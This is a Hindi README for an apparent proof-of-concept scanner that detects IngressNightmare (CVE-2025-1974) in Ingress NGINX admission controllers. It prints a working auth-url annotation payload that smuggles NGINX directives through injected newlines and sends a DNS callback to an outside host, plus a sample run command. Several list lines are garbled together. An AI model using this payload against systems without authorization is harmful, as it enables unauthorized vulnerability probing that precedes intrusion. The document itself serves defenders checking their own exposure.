
इन्ग्रेसनाइटमेयर (CVE-2025-1974) का पता लगाने के लिए (गैर-हस्तक्षेपकारी) सक्रिय माध्यमों से प्रूफ-ऑफ-कॉन्सेप्ट टूल
यह टूल Ingress NGINX कंट्रोलर को प्रभावित करने वाली IngressNightmare भेद्यता श्रृंखला (CVE-2025-1974) के लिए एक गैर-आक्रामक डिटेक्शन क्षमता प्रदान करता है। यह विशेष रूप से auth-url एनोटेशन इंजेक्शन वेक्टर (CVE-2025-24514) का उपयोग करके, बिना कोई मनमाना कोड निष्पादित किए, इस गंभीर भेद्यता की उपस्थिति की पुष्टि करता है।
IngressNightmare भेद्यता श्रृंखला हमलावरों को विभिन्न Ingress एनोटेशन फ़ील्ड के माध्यम से मनमाना NGINX कॉन्फ़िगरेशन निर्देश इंजेक्ट करने की अनुमति देती है। जब इन दुर्भावनापूर्ण Ingress संसाधनों को एडमिशन कंट्रोलर द्वारा संसाधित किया जाता है, तो इंजेक्ट किए गए निर्देशों का मूल्यांकन NGINX कॉन्फ़िगरेशन सत्यापन चरण (nginx -t) के दौरान किया जाता है।
यह PoC विशेष रूप से एक syslog सर्वर के साथ error_log निर्देश को इंजेक्ट करके auth-url एनोटेशन भेद्यता का शोषण करता है, जो हमलावर-नियंत्रित डोमेन की ओर इंगित करता है। कॉन्फ़िगरेशन सत्यापन के दौरान, NGINX निम्न कार्य करेगा:
यह DNS रिज़ॉल्यूशन गतिविधि, कोड निष्पादन या सेवा विघटन के बिना, यह पुष्टि करने के लिए एक विश्वसनीय संकेत प्रदान करती है कि लक्ष्य भेद्य है।
Burp Collaborator, interactsh, या किसी भी DNS मॉनिटरिंग सेवा का उपयोग करके एक DNS कॉलबैक लिसनर स्थापित करें।
डिटेक्शन टूल निष्पादित करें:
$ python3 detect.py -t https://target-admission-controller:443 -c w00tw00t.lf4v7uehamhtt4hufhstpla09rfi38rx.oastify.com
यदि भेद्य है, तो आप अपने DNS कॉलबैक डोमेन पर DNS रिज़ॉल्यूशन प्रयास देखेंगे:

यह टूल विशेष रूप से निर्मित एक AdmissionReview ऑब्जेक्ट तैयार करता है जिसमें निम्नलिखित इंजेक्शन पेलोड वाला एक Ingress संसाधन होता है:
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n resolver 8.8.8.8;\n error_log syslog:server=unique-id.oastify.com:80 debug;\n #"
यह पेलोड:
#) का उपयोग करता हैerror_log निर्देश जोड़ता हैजब किसी भेद्य एडमिशन कंट्रोलर द्वारा संसाधित किया जाता है, तो यह एक आउटबाउंड DNS लुकअप में परिणत होता है जो भेद्यता की उपस्थिति की पुष्टि करता है।
यह टूल केवल भेद्यता की उपस्थिति का पता लगाता है और मनमाना कोड निष्पादन के लिए इसका शोषण करने का प्रयास नहीं करता है।